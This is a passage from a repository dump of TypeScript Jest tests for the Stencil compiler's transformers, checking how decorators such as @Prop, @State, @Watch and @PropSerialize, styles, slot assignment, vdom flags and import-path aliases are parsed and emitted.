\"Something\"',\n        references: {},\n      },\n      docs: { tags: [], text: '' },\n      internal: false,\n      getter: true,\n      setter: false,\n    });\n  });\n\n  it('should not infer type from `get()` property access expression when getter type is explicit', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        private _boolVal: boolean = false;\n        @Prop()\n        get val(): string {\n          return this._boolVal;\n        };\n      }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'properties')).toEqual({\n      val: {\n        attribute: 'val',\n        complexType: {\n          references: {},\n          resolved: 'string',\n          original: 'string',\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n        defaultValue: `false`,\n        mutable: false,\n        optional: false,\n        reflect: false,\n        required: false,\n        type: 'string',\n        getter: true,\n        setter: false,\n      },\n    });\n    expect(t.property?.type).toBe('string');\n    expect(t.property?.attribute).toBe('val');\n  });\n\n  it('deals appropriately with dynamic property names', async () => {\n    // we're looking for `ogPropName` to be set on the dynamic prop\n\n    const t = transpileModule(`\n      const dynVal = 'val2';\n       @Component({tag: 'cmp-a'})\n       export class CmpA {\n         @Prop() val = 'good';\n         @Prop() [dynVal] = 'nice';\n       }\n     `);\n\n    expect(await formatCode(t.outputText)).toBe(\n      await c`var _a;\n    const dynVal = 'val2';\n    export class CmpA {\n      constructor() {\n        this.val = 'good';\n        this[_a] = 'nice';\n      }\n      static get is() {\n        return 'cmp-a';\n      }\n      static get properties() {\n        return {\n          val: {\n            type: 'string',\n            mutable: false,\n            complexType: { original: 'string', resolved: 'string', references: {} },\n            required: false,\n            optional: false,\n            docs: { tags: [], text: '' },\n            getter: false,\n            setter: false,\n            reflect: false,\n            attribute: 'val',\n            defaultValue: \\\"'good'\\\",\n          },\n          val2: {\n            type: 'string',\n            mutable: false,\n            complexType: { original: 'string', resolved: 'string', references: {} },\n            required: false,\n            optional: false,\n            docs: { tags: [], text: '' },\n            getter: false,\n            setter: false,\n            ogPropName: 'dynVal',\n            reflect: false,\n            attribute: 'val-2',\n            defaultValue: \\\"'nice'\\\",\n          },\n        };\n      }\n    }\n    _a = dynVal;`,\n    );\n  });\n\n  it('should merge extended class property meta', async () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Prop() foo: string = 'cmp a foo';\n      }\n      class Parent extends GrandParent {\n        @Prop() foo: string = 'parent foo';\n        @Prop() bar: string = 'parent bar';\n      }\n      class GrandParent {\n        @Prop() bar: string = 'grandparent bar';\n        @Prop() baz: string = 'grandparent baz';\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.properties).toEqual([\n      {\n        attribute: 'baz',\n        complexType: {\n          original: 'string',\n          references: {},\n          resolved: 'string',\n        },\n        defaultValue: \"'grandparent baz'\",\n        docs: {\n          tags: [],\n          text: '',\n        },\n        getter: false,\n        internal: false,\n        mutable: false,\n        name: 'baz',\n        optional: false,\n        reflect: false,\n        required: false,\n        setter: false,\n        type: 'string',\n      },\n      {\n        attribute: 'bar',\n        complexType: {\n          original: 'string',\n          references: {},\n          resolved: 'string',\n        },\n        defaultValue: \"'parent bar'\",\n        docs: {\n          tags: [],\n          text: '',\n        },\n        getter: false,\n        internal: false,\n        mutable: false,\n        name: 'bar',\n        optional: false,\n        reflect: false,\n        required: false,\n        setter: false,\n        type: 'string',\n      },\n      {\n        attribute: 'foo',\n        complexType: {\n          original: 'string',\n          references: {},\n          resolved: 'string',\n        },\n        defaultValue: \"'cmp a foo'\",\n        docs: {\n          tags: [],\n          text: '',\n        },\n        getter: false,\n        internal: false,\n        mutable: false,\n        name: 'foo',\n        optional: false,\n        reflect: false,\n        required: false,\n        setter: false,\n        type: 'string',\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-serializers.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { getStaticGetter, transpileModule } from './transpile';\n\ndescribe('parse PropSerialize', () => {\n  it('constructs serializers static getters', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() prop1;\n        @Prop() prop2;\n        @State() state1;\n\n        @PropSerialize('prop1')\n        @PropSerialize('prop2')\n        onUpdate() {\n          console.log('update');\n        }\n\n        @PropSerialize('prop1')\n        @PropSerialize('state1')\n        onStateUpdated() {\n          console.log('state updated');\n        }\n      }\n    `);\n\n    // should not include `@State` props\n    expect(getStaticGetter(t.outputText, 'serializers')).toEqual([\n      { methodName: 'onUpdate', propName: 'prop1' },\n      { methodName: 'onUpdate', propName: 'prop2' },\n      { methodName: 'onStateUpdated', propName: 'prop1' },\n    ]);\n  });\n\n  it('should merge extended class serializers meta', async () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Prop() foo;\n        @PropSerialize('foo') \n        fooHandler() {\n          return 'CmpA';\n        }\n      }\n      class Parent extends GrandParent {\n        @Prop() foo;\n        @PropSerialize('foo') \n        anotherFooHandler() {\n          return 'Parent';\n        }\n      }\n      class GrandParent {\n        @Prop() bar;\n        @PropSerialize('bar') \n        barHandler() {\n          return 'GrandParent';\n        }\n\n        @Prop() foo;\n        @PropSerialize('foo') \n        fooHandler() {\n          return 'GrandParent';\n        }\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.serializers).toEqual([\n      {\n        methodName: 'barHandler',\n        propName: 'bar',\n      },\n      {\n        methodName: 'anotherFooHandler',\n        propName: 'foo',\n      },\n      {\n        methodName: 'fooHandler',\n        propName: 'foo',\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-slot-assignment.spec.ts",
    "content": "import { getStaticGetter, transpileModule } from './transpile';\n\ndescribe('parse slotAssignment', () => {\n  it('shadow without slotAssignment', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        shadow: true\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('shadow');\n    expect(getStaticGetter(t.outputText, 'slotAssignment')).toEqual(undefined);\n\n    expect(t.cmp.encapsulation).toBe('shadow');\n    expect(t.cmp.slotAssignment).toBe(null);\n  });\n\n  it('slotAssignment manual', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        shadow: {\n          slotAssignment: 'manual'\n        }\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('shadow');\n    expect(getStaticGetter(t.outputText, 'slotAssignment')).toEqual('manual');\n\n    expect(t.cmp.encapsulation).toBe('shadow');\n    expect(t.cmp.slotAssignment).toBe('manual');\n  });\n\n  it('slotAssignment named (explicit)', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        shadow: {\n          slotAssignment: 'named'\n        }\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('shadow');\n    expect(getStaticGetter(t.outputText, 'slotAssignment')).toEqual(undefined);\n\n    expect(t.cmp.encapsulation).toBe('shadow');\n    expect(t.cmp.slotAssignment).toBe(null);\n  });\n\n  it('slotAssignment manual with delegatesFocus', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        shadow: {\n          delegatesFocus: true,\n          slotAssignment: 'manual'\n        }\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('shadow');\n    expect(getStaticGetter(t.outputText, 'delegatesFocus')).toEqual(true);\n    expect(getStaticGetter(t.outputText, 'slotAssignment')).toEqual('manual');\n\n    expect(t.cmp.encapsulation).toBe('shadow');\n    expect(t.cmp.shadowDelegatesFocus).toBe(true);\n    expect(t.cmp.slotAssignment).toBe('manual');\n  });\n\n  it('scoped does not support slotAssignment', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        scoped: true\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('scoped');\n    expect(getStaticGetter(t.outputText, 'slotAssignment')).toEqual(undefined);\n\n    expect(t.cmp.encapsulation).toBe('scoped');\n    expect(t.cmp.slotAssignment).toBe(null);\n  });\n\n  it('no encapsulation does not support slotAssignment', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a'\n      })\n      export class CmpA {}\n    `);\n\n    expect(t.outputText).not.toContain(`static get encapsulation()`);\n    expect(getStaticGetter(t.outputText, 'slotAssignment')).toEqual(undefined);\n\n    expect(t.cmp.encapsulation).toBe('none');\n    expect(t.cmp.slotAssignment).toBe(null);\n  });\n\n  it('should throw error for invalid slotAssignment value', () => {\n    let error: Error | undefined;\n    try {\n      transpileModule(`\n        @Component({\n          tag: 'cmp-a',\n          shadow: {\n            slotAssignment: 'invalid'\n          }\n        })\n        export class CmpA {}\n      `);\n    } catch (err: unknown) {\n      error = err as Error;\n    }\n\n    expect(error).toBeDefined();\n    expect(error.message).toContain('The \"slotAssignment\" option must be either \"manual\" or \"named\".');\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-states.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { transpileModule } from './transpile';\nimport { formatCode } from './utils';\n\ndescribe('parse states', () => {\n  it('state', async () => {\n    const t = transpileModule(`\n     const dynVal = 'val2';\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @State() val = 'good';\n        @State() [dynVal] = 'nice';\n      }\n    `);\n\n    expect(await formatCode(t.outputText)).toContain(\n      await formatCode(`\n        return { val: {}, val2: { ogPropName: 'dynVal' } }; \n    `),\n    );\n  });\n\n  it('should merge extended class state meta', async () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @State() foo: string = 'cmp a foo';\n      }\n      class Parent extends GrandParent {\n        @State() foo: string = 'parent foo';\n      }\n      class GrandParent {\n        @State() bar: string = 'grandparent bar';\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.states).toEqual([{ name: 'bar' }, { name: 'foo' }]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-styles.spec.ts",
    "content": "import { getStaticGetter, transpileModule } from './transpile';\nimport { formatCode } from './utils';\n\ndescribe('parse styles', () => {\n  it('add static \"styleUrl\"', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        styleUrl: 'style.css'\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'styleUrls')).toEqual({ $: ['style.css'] });\n  });\n\n  it('add static \"styleUrls\"', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        styleUrls: ['style.css', 'style2.css']\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'styleUrls')).toEqual({ $: ['style.css', 'style2.css'] });\n  });\n\n  it('add static \"styles\"', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        styles: 'p{color:red}'\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'styles')).toEqual('p{color:red}');\n  });\n\n  it('add static \"styles\" as object', async () => {\n    const t = transpileModule(`\n      const md = 'p{color:red}';\n      const ios = 'p{color:black}';\n      @Component({\n        tag: 'cmp-a',\n        styles: {\n          md: md,\n          ios: ios,\n        }\n      })\n      export class CmpA {}\n    `);\n    expect(await formatCode(t.outputText)).toEqual(\n      await formatCode(\n        `const md = 'p{color:red}';const ios = 'p{color:black}';export class CmpA { static get is() { return \"cmp-a\"; } static get styles() { return { \"md\": md, \"ios\": ios }; }}`,\n      ),\n    );\n  });\n\n  it('add static \"styles\" as object (2)', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        styles: {\n          md: 'p{color:red}',\n          ios: 'p{color:black}',\n        }\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'styles')).toEqual({\n      ios: 'p{color:black}',\n      md: 'p{color:red}',\n    });\n  });\n\n  it('add static \"styles\" const', async () => {\n    const t = transpileModule(`\n      const styles = 'p{color:red}';\n      @Component({\n        tag: 'cmp-a',\n        styles,\n      })\n      export class CmpA {}\n    `);\n    expect(await formatCode(t.outputText)).toEqual(\n      await formatCode(\n        `const styles = 'p{color:red}';export class CmpA { static get is() { return \"cmp-a\"; } static get styles() { return styles; }}`,\n      ),\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-vdom.spec.ts",
    "content": "import { transpileModule } from './transpile';\n\ndescribe('parse vdom', () => {\n  it('hasVdomAttribute', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp checked=\"true\"/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomAttribute).toBe(true);\n  });\n\n  it('hasVdomClass', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp class=\"some-class\"/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomClass).toBe(true);\n  });\n\n  it('hasVdomFunctional', () => {\n    const t = transpileModule(`\n      const FnCmp = <fn-cmp/>;\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <FnCmp/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomFunctional).toBe(true);\n  });\n\n  it('hasVdomFunctional (2)', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <Tunnel.Provider/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomFunctional).toBe(true);\n  });\n\n  it('hasVdomKey', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp key=\"k\"/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomKey).toBe(true);\n  });\n\n  it('hasVdomListener', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp onClick=\"()=>{}\"/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomListener).toBe(true);\n  });\n\n  it('hasVdomRef', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp ref=\"()=>{}\"/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomRef).toBe(true);\n  });\n\n  it('hasVdomRender', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomRender).toBe(true);\n  });\n\n  it('hasVdomStyle', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp style={{color:red}}/>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomStyle).toBe(true);\n  });\n\n  it('hasVdomText', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp>text</some-cmp>\n        }\n      }\n    `);\n\n    expect(t.cmp.hasVdomText).toBe(true);\n  });\n\n  it('hasSlot', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <slot/>\n        }\n      }\n    `);\n\n    expect(t.cmp.htmlTagNames).toContain('slot');\n  });\n\n  it('hasSvg', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <svg/>\n        }\n      }\n    `);\n\n    expect(t.cmp.htmlTagNames).toContain('svg');\n  });\n\n  describe('jsx-runtime (jsxImportSource)', () => {\n    it('hasVdomFunctional with Fragment', () => {\n      const t = transpileModule(\n        `\n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          render() {\n            return (\n              <>\n                <div>A</div>\n                <div>B</div>\n              </>\n            );\n          }\n        }\n      `,\n        null,\n        null,\n        [],\n        [],\n        [],\n        {\n          jsx: 4 as any, // ts.JsxEmit.ReactJSX\n          jsxImportSource: '@stencil/core',\n        },\n      );\n\n      expect(t.cmp.hasVdomFunctional).toBe(true);\n      expect(t.cmp.hasVdomRender).toBe(true);\n    });\n\n    it('hasVdomFunctional with functional component', () => {\n      const t = transpileModule(\n        `\n        const MyComponent = () => <div>Hello</div>;\n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          render() {\n            return <MyComponent/>\n          }\n        }\n      `,\n        null,\n        null,\n        [],\n        [],\n        [],\n        {\n          jsx: 4 as any, // ts.JsxEmit.ReactJSX\n          jsxImportSource: '@stencil/core',\n        },\n      );\n\n      expect(t.cmp.hasVdomFunctional).toBe(true);\n    });\n\n    it('hasVdomFunctional with Fragment single child', () => {\n      const t = transpileModule(\n        `\n        @Component({tag: 'cmp-b'})\n        export class CmpB {\n          render() {\n            return (\n              <>\n                <div>Single</div>\n              </>\n            );\n          }\n        }\n      `,\n        null,\n        null,\n        [],\n        [],\n        [],\n        {\n          jsx: 4 as any, // ts.JsxEmit.ReactJSX\n          jsxImportSource: '@stencil/core',\n        },\n      );\n\n      expect(t.cmp.hasVdomFunctional).toBe(true);\n    });\n\n    it('hasVdomAttribute with jsx-runtime', () => {\n      const t = transpileModule(\n        `\n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          render() {\n            return <div class=\"test\">Hello</div>\n          }\n        }\n      `,\n        null,\n        null,\n        [],\n        [],\n        [],\n        {\n          jsx: 4 as any, // ts.JsxEmit.ReactJSX\n          jsxImportSource: '@stencil/core',\n        },\n      );\n\n      expect(t.cmp.hasVdomAttribute).toBe(true);\n      expect(t.cmp.hasVdomClass).toBe(true);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-virtual-props.spec.ts",
    "content": "import { transpileModule } from './transpile';\n\ndescribe('parse virtual properties', () => {\n  it('virtual properties', () => {\n    const t = transpileModule(`\n      /**\n       * @virtualProp color - This is the virtual color property\n       * @virtualProp {  'md' | 'ios'} mode - This is the mode\n       */\n      @Component({tag: 'cmp-a'})\n      export class CmpA {}\n    `);\n\n    expect(t.virtualProperties).toEqual([\n      { name: 'color', type: 'any', docs: 'This is the virtual color property' },\n      { name: 'mode', type: `'md' | 'ios'`, docs: 'This is the mode' },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-watch.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { getStaticGetter, transpileModule } from './transpile';\n\ndescribe('parse watch', () => {\n  it('watch', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() prop1;\n        @Prop() prop2;\n        @State() state1;\n\n        @Watch('prop1')\n        @Watch('prop2')\n        onUpdate() {\n          console.log('update');\n        }\n\n        @Watch('prop1')\n        @Watch('state1')\n        onStateUpdated() {\n          console.log('state updated');\n        }\n\n        @Watch('state1')\n        @Watch('prop2', {immediate: true})\n        onUpdateImmediate() {\n          console.log('update');\n        }\n      }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'watchers')).toEqual([\n      { methodName: 'onUpdate', propName: 'prop1' },\n      { methodName: 'onUpdate', propName: 'prop2' },\n      { methodName: 'onStateUpdated', propName: 'prop1' },\n      { methodName: 'onStateUpdated', propName: 'state1' },\n      { methodName: 'onUpdateImmediate', propName: 'state1' },\n      { methodName: 'onUpdateImmediate', propName: 'prop2', handlerOptions: { immediate: true } },\n    ]);\n  });\n\n  it('should merge extended class watchers meta', async () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Watch('foo') \n        fooHandler() {\n          return 'CmpA';\n        }\n      }\n      class Parent extends GrandParent {\n        @Watch('foo') \n        anotherFooHandler() {\n          return 'Parent';\n        }\n      }\n      class GrandParent {\n        @Watch('bar', {immediate: true}) \n        barHandler() {\n          return 'GrandParent';\n        }\n\n        @Watch('foo') \n        fooHandler() {\n          return 'GrandParent';\n        }\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.watchers).toEqual([\n      {\n        methodName: 'barHandler',\n        propName: 'bar',\n        handlerOptions: { immediate: true },\n      },\n      {\n        methodName: 'anotherFooHandler',\n        propName: 'foo',\n      },\n      {\n        methodName: 'fooHandler',\n        propName: 'foo',\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/proxy-custom-element-function.spec.ts",
    "content": "import * as d from '@stencil/core/declarations';\nimport { mockCompilerCtx, mockModule } from '@stencil/core/testing';\nimport * as ts from 'typescript';\n\nimport { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub';\nimport * as AddComponentMetaProxy from '../add-component-meta-proxy';\nimport { proxyCustomElement } from '../component-native/proxy-custom-element-function';\nimport { PROXY_CUSTOM_ELEMENT } from '../core-runtime-apis';\nimport * as TransformUtils from '../transform-utils';\nimport { transpileModule } from './transpile';\nimport { formatCode } from './utils';\n\ndescribe('proxy-custom-element-function', () => {\n  const componentClassName = 'MyComponent';\n  let compilerCtx: d.CompilerCtx;\n  let transformOpts: d.TransformOptions;\n\n  let getModuleFromSourceFileSpy: jest.SpyInstance<\n    ReturnType<typeof TransformUtils.getModuleFromSourceFile>,\n    Parameters<typeof TransformUtils.getModuleFromSourceFile>\n  >;\n  let createClassMetadataProxySpy: jest.SpyInstance<\n    ReturnType<typeof AddComponentMetaProxy.createClassMetadataProxy>,\n    Parameters<typeof AddComponentMetaProxy.createClassMetadataProxy>\n  >;\n\n  beforeEach(() => {\n    compilerCtx = mockCompilerCtx();\n\n    transformOpts = {\n      coreImportPath: '@stencil/core',\n      componentExport: null,\n      componentMetadata: null,\n      currentDirectory: '/',\n      proxy: null,\n      style: 'static',\n      styleImportData: 'queryparams',\n    };\n\n    getModuleFromSourceFileSpy = jest.spyOn(TransformUtils, 'getModuleFromSourceFile');\n    getModuleFromSourceFileSpy.mockImplementation((_compilerCtx: d.CompilerCtx, _tsSourceFile: ts.SourceFile) => {\n      return mockModule({\n        cmps: [\n          stubComponentCompilerMeta({\n            componentClassName,\n          }),\n        ],\n      });\n    });\n\n    createClassMetadataProxySpy = jest.spyOn(AddComponentMetaProxy, 'createClassMetadataProxy');\n    createClassMetadataProxySpy.mockImplementation((_compilerMeta: d.ComponentCompilerMeta, clazz: ts.Expression) =>\n      ts.factory.createCallExpression(\n        ts.factory.createIdentifier(PROXY_CUSTOM_ELEMENT),\n        [],\n        [clazz, ts.factory.createTrue()],\n      ),\n    );\n  });\n\n  afterEach(() => {\n    getModuleFromSourceFileSpy.mockRestore();\n    createClassMetadataProxySpy.mockRestore();\n  });\n\n  describe('proxyCustomElement()', () => {\n    it('imports PROXY_CUSTOM_ELEMENT', () => {\n      const code = `const ${componentClassName} = class extends HTMLElement {};`;\n\n      const transformer = proxyCustomElement(compilerCtx, transformOpts);\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(transpiledModule.outputText).toContain(\n        `import { proxyCustomElement as __stencil_proxyCustomElement } from \"@stencil/core\";`,\n      );\n    });\n\n    it('wraps a class initializer in a proxyCustomElement call', async () => {\n      const code = `const ${componentClassName} = class extends HTMLElement {};`;\n\n      const transformer = proxyCustomElement(compilerCtx, transformOpts);\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(await formatCode(transpiledModule.outputText)).toContain(\n        await formatCode(\n          `const ${componentClassName} = /*@__PURE__*/ __stencil_proxyCustomElement(class ${componentClassName} extends HTMLElement {}, true);`,\n        ),\n      );\n    });\n\n    it('wraps an exported class initializer in a proxyCustomElement call', async () => {\n      const code = `export const ${componentClassName} = class extends HTMLElement {};`;\n\n      const transformer = proxyCustomElement(compilerCtx, transformOpts);\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(await formatCode(transpiledModule.outputText)).toContain(\n        await formatCode(\n          `export const ${componentClassName} = /*@__PURE__*/ __stencil_proxyCustomElement(class ${componentClassName} extends HTMLElement {}, true);`,\n        ),\n      );\n    });\n\n    describe('multiple variable declarations', () => {\n      it('wraps a class initializer properly when a variable declaration precedes it', async () => {\n        const code = `const foo = 'hello world!', ${componentClassName} = class extends HTMLElement {};`;\n\n        const transformer = proxyCustomElement(compilerCtx, transformOpts);\n        const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n        expect(await formatCode(transpiledModule.outputText)).toContain(\n          await formatCode(\n            `const foo = 'hello world!', ${componentClassName} = /*@__PURE__*/ __stencil_proxyCustomElement(class ${componentClassName} extends HTMLElement {}, true);`,\n          ),\n        );\n      });\n\n      it('wraps a class initializer properly when it precedes another variable declaration', async () => {\n        const code = `const ${componentClassName} = class extends HTMLElement {}, foo = 'hello world!';`;\n\n        const transformer = proxyCustomElement(compilerCtx, transformOpts);\n        const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n        expect(await formatCode(transpiledModule.outputText)).toContain(\n          await formatCode(\n            `const ${componentClassName} = /*@__PURE__*/ __stencil_proxyCustomElement(class ${componentClassName} extends HTMLElement {}, true), foo = 'hello world!';`,\n          ),\n        );\n      });\n\n      it('wraps a class initializer properly in the middle of multiple variable declarations', async () => {\n        const code = `const foo = 'hello world!', ${componentClassName} = class ${componentClassName} extends HTMLElement {}, bar = 'goodbye?'`;\n\n        const transformer = proxyCustomElement(compilerCtx, transformOpts);\n        const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n        expect(await formatCode(transpiledModule.outputText)).toContain(\n          await formatCode(\n            `const foo = 'hello world!', ${componentClassName} = /*@__PURE__*/ __stencil_proxyCustomElement(class ${componentClassName} extends HTMLElement {}, true), bar = 'goodbye?';`,\n          ),\n        );\n      });\n    });\n  });\n\n  describe('source file unchanged', () => {\n    it('returns the source file when no Stencil module is found', async () => {\n      getModuleFromSourceFileSpy.mockImplementation((_compilerCtx: d.CompilerCtx, _tsSourceFile: ts.SourceFile) => {\n        return mockModule();\n      });\n\n      const code = `const ${componentClassName} = class extends HTMLElement {};`;\n\n      const transformer = proxyCustomElement(compilerCtx, transformOpts);\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(await formatCode(transpiledModule.outputText)).toBe(await formatCode(code));\n    });\n\n    it('returns the source file when no variable statements are found', () => {\n      getModuleFromSourceFileSpy.mockImplementation((_compilerCtx: d.CompilerCtx, _tsSourceFile: ts.SourceFile) => {\n        return mockModule({\n          cmps: [stubComponentCompilerMeta({ componentClassName })],\n        });\n      });\n\n      const code = `helloWorld();`;\n\n      const transformer = proxyCustomElement(compilerCtx, transformOpts);\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(transpiledModule.outputText.trim()).toBe(code);\n    });\n\n    it(\"returns the source file when variable statements don't match the component name\", () => {\n      getModuleFromSourceFileSpy.mockImplementation((_compilerCtx: d.CompilerCtx, _tsSourceFile: ts.SourceFile) => {\n        return mockModule({\n          cmps: [\n            stubComponentCompilerMeta({\n              componentClassName: 'ComponentNameDoesNotExist',\n            }),\n          ],\n        });\n      });\n\n      const code = `const ${componentClassName} = class extends HTMLElement { };`;\n\n      const transformer = proxyCustomElement(compilerCtx, transformOpts);\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(transpiledModule.outputText.trim()).toBe(code);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/rewrite-aliased-paths.spec.ts",
    "content": "import { CompilerCtx } from '@stencil/core/declarations';\nimport { mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport { normalizePath } from '@utils';\nimport path from 'path';\nimport ts from 'typescript';\n\nimport { patchTypescript } from '../../sys/typescript/typescript-sys';\nimport { rewriteAliasedDTSImportPaths, rewriteAliasedSourceFileImportPaths } from '../rewrite-aliased-paths';\nimport { transpileModule } from './transpile';\nimport { formatCode } from './utils';\n\n/**\n * Helper function for running the transpilation for tests in this module.\n * This sets up a config, patches typescript, declares a mock TypeScript\n * configuration, writes some files to the in-memory FS, and then finally\n * transpiles the provided code.\n *\n * @param component the string of a component\n * @param inputFileName an optional filename to use for the input file\n * @returns the transpiled module\n */\nasync function pathTransformTranspile(component: string, inputFileName = 'module.tsx') {\n  const compilerContext: CompilerCtx = mockCompilerCtx();\n  const config = mockValidatedConfig();\n\n  patchTypescript(config, compilerContext.fs);\n\n  const mockPathsConfig: ts.CompilerOptions = {\n    paths: {\n      '@namespace': [path.join(config.rootDir, 'name/space.ts')],\n      '@namespace/subdir': [path.join(config.rootDir, 'name/space/subdir.ts')],\n      '@namespace/keyboard': [path.join(config.rootDir, 'name/space/keyboard.ts')],\n    },\n    declaration: true,\n  };\n\n  // we need to have files in the `inMemoryFs` which TypeScript\n  // can resolve, otherwise it won't find the module and won't\n  // transform the module ID\n  await compilerContext.fs.writeFile(path.join(config.rootDir, 'name/space.ts'), 'export const foo = x => x');\n  await compilerContext.fs.writeFile(path.join(config.rootDir, 'name/space/subdir.ts'), 'export const bar = x => x;');\n  await compilerContext.fs.writeFile(\n    path.join(config.rootDir, 'name/space/keyboard.ts'),\n    'export const keyboard = \"keyboard\"',\n  );\n\n  return transpileModule(\n    component,\n    null,\n    compilerContext,\n    [rewriteAliasedSourceFileImportPaths],\n    [],\n    [rewriteAliasedDTSImportPaths],\n    mockPathsConfig,\n    